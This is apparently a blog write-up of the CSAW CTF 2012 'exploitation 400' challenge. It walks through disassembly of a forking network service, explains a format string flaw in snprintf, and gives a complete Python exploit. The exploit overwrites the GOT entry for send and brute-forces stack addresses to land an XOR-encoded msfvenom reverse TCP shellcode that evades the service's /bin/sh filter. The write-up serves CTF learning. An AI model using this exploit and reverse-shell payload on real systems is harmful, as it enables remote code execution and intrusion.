CSAW CTF 2012 exploitation 400

I haven’t had the time recently and missed participation in CSAW CTF. I have obtained some of the challenges and will talk about exp. 400. It’s a format string exploitation challenge, and we’ll analyze how it works and how to exploit it. Let us start from the main()

[0x080487e0]> pdf @ sym.main
/ function: sym.main (18)
|     0x08048894  sym.main:
|     0x08048894     55               push ebp
|     0x08048895     89e5             mov ebp, esp
|     0x08048897     83e4f0           and esp, 0xfffffff0
|     0x0804889a     e82e000000       call dword sym.tcp_setup
|        ; sym.tcp_setup(unk) (sym.tcp_setup+0)
|     0x0804889f     b800000000       mov eax, 0x0
|     0x080488a4     c9               leave
\     0x080488a5     c3               ret
      ; ------------

It calls tcp_setup() that’s all it does so let’s see how tcp_setup look like,

            ; CODE (CALL) XREF 0x0804889a (sym.main)
/ function: sym.tcp_setup (856)
|           0x080488cd  sym.tcp_setup:
|           0x080488cd     55               push ebp
|           0x080488ce     89e5             mov ebp, esp
|           0x080488d0     81ece8000000     sub esp, 0xe8
|           0x080488d6     c745c401000000   mov dword [ebp-0x3c], 0x1
|           0x080488dd     c744240800000000 mov dword [esp+0x8], 0x0
|           0x080488e5     c744240401000000 mov dword [esp+0x4], 0x1
|           0x080488ed     c7042402000000   mov dword [esp], 0x2
|           0x080488f4     e897feffff       call dword imp.socket
|              ; imp.socket() (imp.socket+0)
|           0x080488f9     8945f4           mov [ebp-0xc], eax
|           0x080488fc     837df4ff         cmp dword [ebp-0xc], 0xff
|       ,=< 0x08048900     7518             jnz loc.0804891a
|       |   0x08048902     c70424b1900408   mov dword [esp], 0x80490b1
|       |   0x08048909     e892fdffff       call dword imp.perror
|       |      ; imp.perror() (imp.perror+0)
|       |   0x0804890e     c7042401000000   mov dword [esp], 0x1
|       |   0x08048915     e8c6fdffff       call dword imp.exit
|       |      ; imp.exit() (imp.exit+0)
|       |   ; CODE (JMP) XREF 0x08048900 (sym.tcp_setup)
/ loc: loc.0804891a (779)
|       |   0x0804891a  loc.0804891a:
|       `-> 0x0804891a     8b45f4           mov eax, [ebp-0xc]
|           0x0804891d     c744241004000000 mov dword [esp+0x10], 0x4
|           0x08048925     8d55c4           lea edx, [ebp-0x3c]
|           0x08048928     8954240c         mov [esp+0xc], edx
|           0x0804892c     c744240802000000 mov dword [esp+0x8], 0x2
|           0x08048934     c744240401000000 mov dword [esp+0x4], 0x1
|           0x0804893c     890424           mov [esp], eax
|           0x0804893f     e8ecfcffff       call dword imp.setsockopt
|              ; imp.setsockopt() (imp.setsockopt+0)
|           0x08048944     83f8ff           cmp eax, 0xff
|      ,==< 0x08048947     7518             jnz loc.08048961
|      |    0x08048949     c70424b3900408   mov dword [esp], 0x80490b3
|      |    0x08048950     e84bfdffff       call dword imp.perror
|      |       ; imp.perror() (imp.perror+0)
|      |    0x08048955     c7042401000000   mov dword [esp], 0x1
|      |    0x0804895c     e87ffdffff       call dword imp.exit
|      |       ; imp.exit() (imp.exit+0)
|      |    ; CODE (JMP) XREF 0x08048947 (sym.tcp_setup)
/ loc: loc.08048961 (708)
|      |    0x08048961  loc.08048961:
|      `--> 0x08048961     66c745dc0200     mov word [ebp-0x24], 0x2
|           0x08048967     c70424a05b0000   mov dword [esp], 0x5ba0
|           0x0804896e     e81dfdffff       call dword imp.htons
|              ; imp.htons() (imp.htons+0)
|           0x08048973     668945de         mov [ebp-0x22], ax
|           0x08048977     c745e000000000   mov dword [ebp-0x20], 0x0
|           0x0804897e     8d45dc           lea eax, [ebp-0x24]
|           0x08048981     83c008           add eax, 0x8
|           0x08048984     c70000000000     mov dword [eax], 0x0
|           0x0804898a     c7400400000000   mov dword [eax+0x4], 0x0
|           0x08048991     8b45f4           mov eax, [ebp-0xc]
|           0x08048994     c744240810000000 mov dword [esp+0x8], 0x10
|           0x0804899c     8d55dc           lea edx, [ebp-0x24]
|           0x0804899f     89542404         mov [esp+0x4], edx
|           0x080489a3     890424           mov [esp], eax
|           0x080489a6     e875fdffff       call dword 0x8048720
|              ; imp.bind() (imp.bind+0)
|           0x080489ab     83f8ff           cmp eax, 0xff
|     ,===< 0x080489ae     7518             jnz loc.080489c8
|     |     0x080489b0     c70424b6900408   mov dword [esp], 0x80490b6
|     |     0x080489b7     e8e4fcffff       call dword imp.perror
|     |        ; imp.perror() (imp.perror+0)
|     |     0x080489bc     c7042401000000   mov dword [esp], 0x1
|     |     0x080489c3     e818fdffff       call dword imp.exit
|     |        ; imp.exit() (imp.exit+0)
|     |     ; CODE (JMP) XREF 0x080489ae (sym.tcp_setup)
/ loc: loc.080489c8 (605)
|     |     0x080489c8  loc.080489c8:
|     `---> 0x080489c8     8b45f4           mov eax, [ebp-0xc]
|           0x080489cb     c744240464000000 mov dword [esp+0x4], 0x64
|           0x080489d3     890424           mov [esp], eax
|           0x080489d6     e895fdffff       call dword imp.listen
|              ; imp.listen() (imp.listen+0)
|           0x080489db     83f8ff           cmp eax, 0xff
|    ,====< 0x080489de     7518             jnz loc.080489f8
|    |      0x080489e0     c70424b9900408   mov dword [esp], 0x80490b9
|    |      0x080489e7     e8b4fcffff       call dword imp.perror
|    |         ; imp.perror() (imp.perror+0)
|    |      0x080489ec     c7042401000000   mov dword [esp], 0x1
|    |      0x080489f3     e8e8fcffff       call dword imp.exit
|    |         ; imp.exit() (imp.exit+0)
|    |      ; CODE (JMP) XREF 0x080489de (sym.tcp_setup)
/ loc: loc.080489f8 (557)
|    |      0x080489f8  loc.080489f8:
|    `----> 0x080489f8     c745c810000000   mov dword [ebp-0x38], 0x10
|           0x080489ff     c78538ffffffa68. mov dword [ebp+0xffffff38], 0x80488a6
|           0x08048a09     8d8538ffffff     lea eax, [ebp+0xffffff38]
|           0x08048a0f     83c004           add eax, 0x4
|           0x08048a12     890424           mov [esp], eax
|           0x08048a15     e846fdffff       call dword imp.sigemptyset
|              ; imp.sigemptyset() (imp.sigemptyset+0)
|           0x08048a1a     c745bc00000010   mov dword [ebp-0x44], 0x10000000
|           0x08048a21     8d8538ffffff     lea eax, [ebp+0xffffff38]
|           0x08048a27     c744240800000000 mov dword [esp+0x8], 0x0
|           0x08048a2f     89442404         mov [esp+0x4], eax
|           0x08048a33     c7042411000000   mov dword [esp], 0x11
|           0x08048a3a     e861fdffff       call dword imp.sigaction
|              ; imp.sigaction() (imp.sigaction+0)
|           0x08048a3f     83f8ff           cmp eax, 0xff
|   ,=====< 0x08048a42     7519             jnz loc.08048a5d
|   |       0x08048a44     c70424bc900408   mov dword [esp], 0x80490bc
|   |       0x08048a4b     e850fcffff       call dword imp.perror
|   |          ; imp.perror() (imp.perror+0)
|   |       0x08048a50     c7042401000000   mov dword [esp], 0x1
|   |       0x08048a57     e884fcffff       call dword imp.exit
|   |          ; imp.exit() (imp.exit+0)
|           ; CODE (JMP) XREF 0x08048b5f (sym.tcp_setup)
/ loc: loc.08048a5c (457)
|           0x08048a5c  loc.08048a5c:
| --------> 0x08048a5c     90               nop
|   |       ; CODE (JMP) XREF 0x08048a42 (sym.tcp_setup)
/ loc: loc.08048a5d (456)
|   |       0x08048a5d  loc.08048a5d:
|   `-----> 0x08048a5d     8b45f4           mov eax, [ebp-0xc]
|           0x08048a60     8d55c8           lea edx, [ebp-0x38]
|           0x08048a63     89542408         mov [esp+0x8], edx
|           0x08048a67     8d55cc           lea edx, [ebp-0x34]
|           0x08048a6a     89542404         mov [esp+0x4], edx
|           0x08048a6e     890424           mov [esp], eax
|           0x08048a71     e83afcffff       call dword 0x80486b0
|              ; imp.accept() (imp.accept+0)
|           0x08048a76     8945f0           mov [ebp-0x10], eax
|           0x08048a79     837df0ff         cmp dword [ebp-0x10], 0xff
|  ,======< 0x08048a7d     7518             jnz loc.08048a97
|  |        0x08048a7f     c70424bf900408   mov dword [esp], 0x80490bf
|  |        0x08048a86     e815fcffff       call dword imp.perror
|  |           ; imp.perror() (imp.perror+0)
|  |        0x08048a8b     c7042401000000   mov dword [esp], 0x1
|  |        0x08048a92     e849fcffff       call dword imp.exit
|  |           ; imp.exit() (imp.exit+0)
|  |        ; CODE (JMP) XREF 0x08048a7d (sym.tcp_setup)
/ loc: loc.08048a97 (398)
|  |        0x08048a97  loc.08048a97:
|  `------> 0x08048a97     e8b4fcffff       call dword imp.fork
|  |           ; imp.fork() (imp.fork+0)
|           0x08048a9c     8945ec           mov [ebp-0x14], eax
|           0x08048a9f     837dec00         cmp dword [ebp-0x14], 0x0
| ,=======< 0x08048aa3     0f85a8000000     jnz dword loc.08048b51
| |         0x08048aa9     e882fcffff       call dword imp.getgid
| |            ; imp.getgid() (imp.getgid+0)
| |         0x08048aae     890424           mov [esp], eax
| |         0x08048ab1     e80afcffff       call dword imp.setgid
| |            ; imp.setgid() (imp.setgid+0)
| |         0x08048ab6     85c0             test eax, eax
| ========< 0x08048ab8     7418             jz loc.08048ad2
| |         0x08048aba     c70424c1900408   mov dword [esp], 0x80490c1
| |         0x08048ac1     e8dafbffff       call dword imp.perror
| |            ; imp.perror() (imp.perror+0)
| |         0x08048ac6     c7042401000000   mov dword [esp], 0x1
| |         0x08048acd     e80efcffff       call dword imp.exit
| |            ; imp.exit() (imp.exit+0)
|           ; CODE (JMP) XREF 0x08048ab8 (sym.tcp_setup)
/ loc: loc.08048ad2 (339)
|           0x08048ad2  loc.08048ad2:
| --------> 0x08048ad2     e899fbffff       call dword imp.getuid
|              ; imp.getuid() (imp.getuid+0)
| |         0x08048ad7     890424           mov [esp], eax
| |         0x08048ada     e8a1fcffff       call dword imp.setuid
| |            ; imp.setuid() (imp.setuid+0)
| |         0x08048adf     85c0             test eax, eax
| ========< 0x08048ae1     7418             jz loc.08048afb
| |         0x08048ae3     c70424c4900408   mov dword [esp], 0x80490c4
| |         0x08048aea     e8b1fbffff       call dword imp.perror
| |            ; imp.perror() (imp.perror+0)
| |         0x08048aef     c7042401000000   mov dword [esp], 0x1
| |         0x08048af6     e8e5fbffff       call dword imp.exit
| |            ; imp.exit() (imp.exit+0)
|           ; CODE (JMP) XREF 0x08048ae1 (sym.tcp_setup)
/ loc: loc.08048afb (298)
|           0x08048afb  loc.08048afb:
| --------> 0x08048afb     c7042400000000   mov dword [esp], 0x0
| |         0x08048b02     e879fcffff       call dword imp.setuid
| |            ; imp.setuid() (imp.setuid+0)
| |         0x08048b07     83f8ff           cmp eax, 0xff
| ========< 0x08048b0a     7418             jz loc.08048b24
| |         0x08048b0c     c70424c8900408   mov dword [esp], str.exiting
| |         0x08048b13     e888fbffff       call dword imp.perror
| |            ; imp.perror() (imp.perror+0)
| |         0x08048b18     c7042401000000   mov dword [esp], 0x1
| |         0x08048b1f     e8bcfbffff       call dword imp.exit
| |            ; imp.exit() (imp.exit+0)
|           ; CODE (JMP) XREF 0x08048b0a (sym.tcp_setup)
/ loc: loc.08048b24 (257)
|           0x08048b24  loc.08048b24:
| --------> 0x08048b24     8b45f4           mov eax, [ebp-0xc]
| |         0x08048b27     890424           mov [esp], eax
| |         0x08048b2a     e891fcffff       call dword imp.close
| |            ; imp.close() (imp.close+0)
| |         0x08048b2f     8b45f0           mov eax, [ebp-0x10]
| |         0x08048b32     890424           mov [esp], eax
| |         0x08048b35     e843000000       call dword sym.sdoomsday
| |            ; sym.sdoomsday() (sym.sdoomsday+0)
| |         0x08048b3a     8b45f0           mov eax, [ebp-0x10]
| |         0x08048b3d     890424           mov [esp], eax
| |         0x08048b40     e87bfcffff       call dword imp.close
| |            ; imp.close() (imp.close+0)
| |         0x08048b45     c7042400000000   mov dword [esp], 0x0
| |         0x08048b4c     e88ffbffff       call dword imp.exit
| |            ; imp.exit() (imp.exit+0)
| |         ; CODE (JMP) XREF 0x08048aa3 (sym.tcp_setup)
/ loc: loc.08048b51 (212)
| |         0x08048b51  loc.08048b51:
| `-------> 0x08048b51     8b45f0           mov eax, [ebp-0x10]
|           0x08048b54     890424           mov [esp], eax
|           0x08048b57     e864fcffff       call dword imp.close
|              ; imp.close() (imp.close+0)
|           0x08048b5c     83f8ff           cmp eax, 0xff
| ========< 0x08048b5f     0f85f7feffff     jnz dword loc.08048a5c
|           0x08048b65     c70424d0900408   mov dword [esp], 0x80490d0
|           0x08048b6c     e82ffbffff       call dword imp.perror
|              ; imp.perror() (imp.perror+0)
|           0x08048b71     c7042401000000   mov dword [esp], 0x1
|           0x08048b78     e863fbffff       call dword imp.exit
|              ; imp.exit() (imp.exit+0)
|           ; CODE (CALL) XREF 0x08048b35 (sym.tcp_setup)
/ function: sym.sdoomsday (168)
|           0x08048b7d  sym.sdoomsday:
|           0x08048b7d     55               push ebp
|           0x08048b7e     89e5             mov ebp, esp
|           0x08048b80     81ec28020000     sub esp, 0x228
|           0x08048b86     8b4508           mov eax, [ebp+0x8]
|           0x08048b89     890424           mov [esp], eax
|           0x08048b8c     e843010000       call dword sym.q
|              ; sym.q(unk) (sym.q+0)
|           0x08048b91     8b4508           mov eax, [ebp+0x8]
|           0x08048b94     c744240c00000000 mov dword [esp+0xc], 0x0
|           0x08048b9c     c7442408ff010000 mov dword [esp+0x8], 0x1ff
|           0x08048ba4     c744240420b10408 mov dword [esp+0x4], 0x804b120
|           0x08048bac     890424           mov [esp], eax
|           0x08048baf     e8fcfbffff       call dword imp.recv
|              ; imp.recv() (imp.recv+0)
|           0x08048bb4     c74424040a000000 mov dword [esp+0x4], 0xa
|           0x08048bbc     c7042420b10408   mov dword [esp], sym.statement.4029
|           0x08048bc3     e828fbffff       call dword imp.strchr
|              ; imp.strchr() (imp.strchr+0)
|           0x08048bc8     8945f4           mov [ebp-0xc], eax
|           0x08048bcb     8b45f4           mov eax, [ebp-0xc]
|           0x08048bce     c60000           mov byte [eax], 0x0
|           0x08048bd1     c744240420b10408 mov dword [esp+0x4], 0x804b120
|           0x08048bd9     8b4508           mov eax, [ebp+0x8]
|           0x08048bdc     890424           mov [esp], eax
|           0x08048bdf     e8c0010000       call dword sym.ssc
|              ; sym.ssc() (sym.ssc+0)
|           0x08048be4     b820b10408       mov eax, sym.statement.4029
|           0x08048be9     89442408         mov [esp+0x8], eax
|           0x08048bed     c7442404ff030000 mov dword [esp+0x4], 0x3ff
|           0x08048bf5     8d85f4fdffff     lea eax, [ebp+0xfffffdf4]
|           0x08048bfb     890424           mov [esp], eax
|           0x08048bfe     e83dfbffff       call dword imp.snprintf
|              ; imp.snprintf() (imp.snprintf+0)
|           0x08048c03     8b4508           mov eax, [ebp+0x8]
|           0x08048c06     890424           mov [esp], eax
|           0x08048c09     e817000000       call dword sym.cd
|              ; sym.cd() (sym.cd+0)
|           0x08048c0e     8d85f4fdffff     lea eax, [ebp+0xfffffdf4]
|           0x08048c14     89442404         mov [esp+0x4], eax
|           0x08048c18     8b4508           mov eax, [ebp+0x8]
|           0x08048c1b     890424           mov [esp], eax
|           0x08048c1e     e8ff000000       call dword sym.sv
|              ; sym.sv() (sym.sv+0)
|           0x08048c23     c9               leave
\           0x08048c24     c3               ret
            ; ------------

What it does is creates a socket file descriptor set socket operator bind to port 0x5ba0 or 23456, liste(socketfd, 100), remove a set of signals and set a signal action for SIGCHILD if raised will call sgc(). Then it goes in a accepting loop on the sockfd creating a parent child then comes sdoomsday() let’s see this function

[0x080487e0]> pdf @ sym.sdoomsday
      ; CODE (CALL) XREF 0x08048b35 (sym.tcp_setup)
/ function: sym.sdoomsday (168)
|     0x08048b7d  sym.sdoomsday:
|     0x08048b7d     55               push ebp
|     0x08048b7e     89e5             mov ebp, esp
|     0x08048b80     81ec28020000     sub esp, 0x228
|     0x08048b86     8b4508           mov eax, [ebp+0x8]
|     0x08048b89     890424           mov [esp], eax
|     0x08048b8c     e843010000       call dword sym.q
|        ; sym.q(unk) (sym.q+0)
|     0x08048b91     8b4508           mov eax, [ebp+0x8]
|     0x08048b94     c744240c00000000 mov dword [esp+0xc], 0x0
|     0x08048b9c     c7442408ff010000 mov dword [esp+0x8], 0x1ff
|     0x08048ba4     c744240420b10408 mov dword [esp+0x4], 0x804b120
|     0x08048bac     890424           mov [esp], eax
|     0x08048baf     e8fcfbffff       call dword imp.recv
|        ; imp.recv() (imp.recv+0)
|     0x08048bb4     c74424040a000000 mov dword [esp+0x4], 0xa
|     0x08048bbc     c7042420b10408   mov dword [esp], sym.statement.4029
|     0x08048bc3     e828fbffff       call dword imp.strchr
|        ; imp.strchr() (imp.strchr+0)
|     0x08048bc8     8945f4           mov [ebp-0xc], eax
|     0x08048bcb     8b45f4           mov eax, [ebp-0xc]
|     0x08048bce     c60000           mov byte [eax], 0x0
|     0x08048bd1     c744240420b10408 mov dword [esp+0x4], 0x804b120
|     0x08048bd9     8b4508           mov eax, [ebp+0x8]
|     0x08048bdc     890424           mov [esp], eax
|     0x08048bdf     e8c0010000       call dword sym.ssc
|        ; sym.ssc() (sym.ssc+0)
|     0x08048be4     b820b10408       mov eax, sym.statement.4029
|     0x08048be9     89442408         mov [esp+0x8], eax
|     0x08048bed     c7442404ff030000 mov dword [esp+0x4], 0x3ff
|     0x08048bf5     8d85f4fdffff     lea eax, [ebp+0xfffffdf4]
|     0x08048bfb     890424           mov [esp], eax
|     0x08048bfe     e83dfbffff       call dword imp.snprintf
|        ; imp.snprintf() (imp.snprintf+0)
|     0x08048c03     8b4508           mov eax, [ebp+0x8]
|     0x08048c06     890424           mov [esp], eax
|     0x08048c09     e817000000       call dword sym.cd
|        ; sym.cd() (sym.cd+0)
|     0x08048c0e     8d85f4fdffff     lea eax, [ebp+0xfffffdf4]
|     0x08048c14     89442404         mov [esp+0x4], eax
|     0x08048c18     8b4508           mov eax, [ebp+0x8]
|     0x08048c1b     890424           mov [esp], eax
|     0x08048c1e     e8ff000000       call dword sym.sv
|        ; sym.sv() (sym.sv+0)
|     0x08048c23     c9               leave
\     0x08048c24     c3               ret
      ; ------------

this simply translates to

sdoomsday(int sockfd)
{
   q(sockfd);
   recv(sockfd, buffer, 0x1ff, 0);
   *strchr(buffer, 0x0a) = 0;
   ssc(sockfd, 0x804b120);
}

q() will ask a question the question ‘Saying..’, then in sdoomsday() will recv answer saves it to buffer and removes last 0x0a, then calls ssc() which will search for a list of strings that are /bin/sh , /bin/bash, /bin/..etc if found it will print malicious activity and exit the child. if they’re not found it will reach cd() which prints 5-1 and then sv() which pritns a volcano and the text next to it. The snprintf where not used with string place holders leaving the user to force ones which causes a format string vulnerability and can write to specific addresses and control the execution flow.

[0x080487e0]> pdf @ sym.sv
      ; CODE (CALL) XREF 0x08048c1e (sym.tcp_setup)
/ function: sym.sv (130)
|     0x08048d22  sym.sv:
|     0x08048d22     55               push ebp
|     0x08048d23     89e5             mov ebp, esp
|     0x08048d25     57               push edi
|     0x08048d26     81ec24080000     sub esp, 0x824
|     0x08048d2c     a1a0b00408       mov eax, [sym.volcano]
|     0x08048d31     8b550c           mov edx, [ebp+0xc]
|     0x08048d34     8954240c         mov [esp+0xc], edx
|     0x08048d38     89442408         mov [esp+0x8], eax
|     0x08048d3c     c7442404ff070000 mov dword [esp+0x4], 0x7ff
|     0x08048d44     8d85f8f7ffff     lea eax, [ebp+0xfffff7f8]
|     0x08048d4a     890424           mov [esp], eax
|     0x08048d4d     e8eef9ffff       call dword imp.snprintf
|        ; imp.snprintf() (imp.snprintf+0)
|     0x08048d52     8d85f8f7ffff     lea eax, [ebp+0xfffff7f8]
|     0x08048d58     c785f4f7fffffff. mov dword [ebp+0xfffff7f4], 0xffffffff
|     0x08048d62     89c2             mov edx, eax
|     0x08048d64     b800000000       mov eax, 0x0
|     0x08048d69     8b8df4f7ffff     mov ecx, [ebp+0xfffff7f4]
|     0x08048d6f     89d7             mov edi, edx
|     0x08048d71     f2ae             repne scasb
|     0x08048d73     89c8             mov eax, ecx
|     0x08048d75     f7d0             not eax
|     0x08048d77     8d50ff           lea edx, [eax-0x1]
|     0x08048d7a     8b4508           mov eax, [ebp+0x8]
|     0x08048d7d     c744240c00000000 mov dword [esp+0xc], 0x0
|     0x08048d85     89542408         mov [esp+0x8], edx
|     0x08048d89     8d95f8f7ffff     lea edx, [ebp+0xfffff7f8]
|     0x08048d8f     89542404         mov [esp+0x4], edx
|     0x08048d93     890424           mov [esp], eax
|     0x08048d96     e835faffff       call dword 0x80487d0
|        ; imp.send() (imp.send+0)
|     0x08048d9b     81c424080000     add esp, 0x824
|     0x08048da1     5f               pop edi
|     0x08048da2     5d               pop ebp
\     0x08048da3     c3               ret
      ; ------------

What we can do to exploit it is write over the send.plt using snprintf and then when sv() calls send it will call our address the shellcode. The shellcode must not contain any of the strings that will be checked in ssc() otherwise we will never reach sv() and won’t be able to exploit it. This can be bypassed by using an xored shell or any other algorithm you want to use if you’re going to write the shellcode.

Our exploitation technique will be by bruteforcing a range in the stack waiting to reach nopsled to our shellcode this will work because we’re exploiting the child and not causing any problems to the parent process, also because all signals were removed. So let us start by finding the send plt

:: exp400 ? objdump -R ./chall | g send
0804b068 R_386_JUMP_SLOT   send

so our got is 0804b068 0804b068+1 0804b068+2 0804b068+3 0804b068+4
the return address need to be calculated following this rule


    n1 = (address) & 0x000000ff
    n2 = (address >> 8 ) & 0x0000ff
    n3 = (address >> 16) & 0x00ff
    n4 = (address >> 24) & 0xff

    r1 = n1 - 0x10
    if(r1 < 0): r1 &= 0xff
    if(r1 == 0): r1 = 0xff + 1

    r2 = n2 - n1
    if(r2 < 0): r2 &= 0xff
    if(r2 == 0): r2 = 0xff + 1

    r3 = n3 - n2
    if(r3 < 0): r3 &= 0xff
    if(r3 == 0): r3 = 0xff + 1

    r4 = n4 - n3
    if(r4 < 0): r4 &= 0xff     if(r4 == 0): r4 = 0xff + 1 

This rule is easy to follow for example if our address is 0xabad1dea then n1=0xab n2=ad, n3=1d, n4=ea then :

  • the first minus 0×10 if less than 0 and 0xff if is 0 then 0xff+1
  • the second minus the first if less than 0 and 0xff if is 0 then 0xff+1
  • ….

and so on until you get four numbers that will be used to write the return address So what’s next ? not much is left we have our got, we have made our return address all we have left is writing the place holders with the offsets to write and the shellcode. Our exploit will go something similar to this :

got, got+1, got+2, got+3, “%1$”, r1, “x%”, offset, “$n%1$”, r2, “x%”, offset+1, “$n%1$”, r3, “x%”, offset+2, “$n%1$”, r4, “x%”, offset+3, “$n”, shellcode, 0x0a

to explain the place holders:

  • %x is to read stack
  • %n is to write memory
  • $[place]%n to write somewhere in a position

the rests are addresses to write to, things to write, and offsetting. The offset can be obtained by testing and seeing how things are aligned in the stack for example in this challenge send something like A%x%x%x%x and see when you will see 0×41414141 the number of %x’s will be your offset ‘the location of the word in the stack is your offset from where you positioned if that makes it easier’ So here’s an exploit example :

 

#!/bin/python import socket 

def generate_retaddr(address):     
    n4 = (address >> 24) & 0xff
    n3 = (address >> 16) & 0x00ff
    n2 = (address >> 8 ) & 0x0000ff
    n1 = (address) & 0x000000ff

    r1 = n1 - 0x10
    if(r1 < 0): r1 &= 0xff
    if(r1 == 0): r1 = 0xff + 1

    r2 = n2 - n1
    if(r2 < 0): r2 &= 0xff
    if(r2 == 0): r2 = 0xff + 1

    r3 = n3 - n2
    if(r3 < 0): r3 &= 0xff
    if(r3 == 0): r3 = 0xff + 1

    r4 = n4 - n3
    if(r4 < 0): r4 &= 0xff
    if(r4 == 0): r4 = 0xff + 1

    return ["%.4d" % r1,
            "%.4d" % r2,
            "%.4d" % r3,
            "%.4d" % r4]

def generate_offset(offset):
   return [
            "%.5d" % int(offset+0),
            "%.5d" % int(offset+1),
            "%.5d" % int(offset+2),
            "%.5d" % int(offset+3)
            ]

def main():
    # msfvenom -p linux/x86/shell/reverse_tcp LHOST="127.0.0.1" LPORT="1337" -b '\x00\x0a' -n 191"
    shellcode =\
    "\x3f\x84\xd5\x11\xe0\x27\x73\x7e\x70\x30\xeb\x7c\x3a\xf6" +\
    "\xd3\xe3\x7d\x78\x04\x0c\xa8\x99\x88\xd6\x41\x21\xe1\x48" +\
    "\x77\x35\x83\xe2\x43\x72\x24\x74\x71\x19\xf9\xbb\x91\xb1" +\
    "\x3f\x76\x4b\x37\xb9\x9f\x80\xfd\x42\x7f\x4a\x3c\x15\x66" +\
    "\xb3\xb5\x08\xf8\xb4\x75\x1c\x7a\x49\xb2\x93\x1d\xa9\xb7" +\
    "\x7b\x34\x71\x67\x7b\x2d\x98\x79\x0d\x81\xd2\xd0\xe0\x12" +\
    "\xf5\xb6\xb8\x74\x1a\xd4\x7c\x3d\x78\x40\x75\x39\xeb\x2f" +\
    "\xb0\x92\x73\x05\x85\xc1\xe2\x25\x76\x32\xfc\xba\x7f\x14" +\
    "\x9b\x90\x77\x2c\x8d\x93\x99\x7a\x41\x40\x49\xb6\x66\xa9" +\
    "\x70\x1d\x72\x3b\xd1\xe3\x31\xf8\x3d\xb4\x35\xb7\xb9\x7e" +\
    "\x05\x7d\x18\xe1\x14\x20\xf9\x4b\x91\x04\x9b\x1c\x9f\x37" +\
    "\x3f\x4a\xb0\x43\xb3\xfc\xba\x0c\x86\xd4\x25\x34\x15\xf5" +\
    "\x3c\x27\x2c\xd5\xbb\x42\xb2\x90\x2f\xb5\xa8\x24\xb8\x67" +\
    "\x92\x2d\x98\x0d\xb1\xfd\x48\x38\xd6\xb8\x25\x0c\x73\xcf" +\
    "\xd9\xea\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x0d\x83\xc6\x04" +\
    "\x31\x46\x10\x03\x46\x10\xc7\xf9\x42\x14\x54\x41\xf6\xc0" +\
    "\x58\x2f\x9e\x4c\xd5\x4e\x93\xed\x72\xcb\x44\x91\x7c\xec" +\
    "\x95\x0b\x14\xe9\xac\xb5\xb7\x78\x2f\x53\x51\x23\xe0\xf5" +\
    "\xca\x5a\xe1\xb5\x39\xdc\xb9\xa0\x77\xd1\x8d\xd0\xba\x6a" +\
    "\x12\x37"

    addr_beg = 0xffff0000
    addr_end = 0xffffffff
    step     = 0x5f
    tries    = 0

    while(addr_beg<=addr_end):
        print "Trying : 0x%.8x (%d bytes)" % (addr_beg, len(shellcode))
        # GOT plt for send
        got = ["\x68\xb0\x04\x08", "\x69\xb0\x04\x08", "\x6a\xb0\x04\x08", "\x6b\xb0\x04\x08"]
        # ret
        ret = generate_retaddr(addr_beg)
        # offsets
        off = generate_offset(5)
        # evil result
        evil  = got[0] + got[1] + got[2] + got[3]
        evil += "%1$"
        evil += ret[0]
        evil += "x%"
        evil += off[0]
        evil += "$n%1$"
        evil += ret[1]
        evil += "x%"
        evil += off[1]
        evil += "$n%1$"
        evil += ret[2]
        evil += "x%"
        evil += off[2]
        evil += "$n%1$"
        evil += ret[3]
        evil += "x%"
        evil += off[3]
        evil += "$n"
        evil += shellcode+'\n'
        # send evil
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("127.0.0.1", 23456))
        s.send(evil)
        s.recv(1024)
        s.close()
        del s
        # next
        addr_beg += step
        tries += 1
    print "Tried %d times" % tries

if __name__ == '__main__':
    main()

This exploit will send the evil with return address on the stack from 0xffffffff to 0xffff0000 stepping half the nopseld of the shell 0x5f until it hits the nopsled reaching the shellcode which will connect back to us.

The shellcode used in this exploit is x86 reverse tcp shellcode encoded with the polymorphic xor encoder and execluding 0×00 and 0x0a as bad characters. I probably have missed something here please let me know if I did.

5 thoughts on “CSAW CTF 2012 exploitation 400

  1. skdltmxn

    when i was trying fsb, i continuously got SIGSEGV whenever i sent ‘%600c’ (or longer than that)
    so i couldn’t make payload!
    do u know why it didn’t work and how did u bypass that?

  2. Qnix Post author


    skdltmxn:

    when i was trying fsb, i continuously got SIGSEGV whenever i sent ‘%600c’ (or longer than that)
    so i couldn’t make payload!
    do u know why it didn’t work and how did u bypass that?

    Can’t say much from only this. Need to see debug info at least

Leave a Reply

Your email address will not be published. Required fields are marked *


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>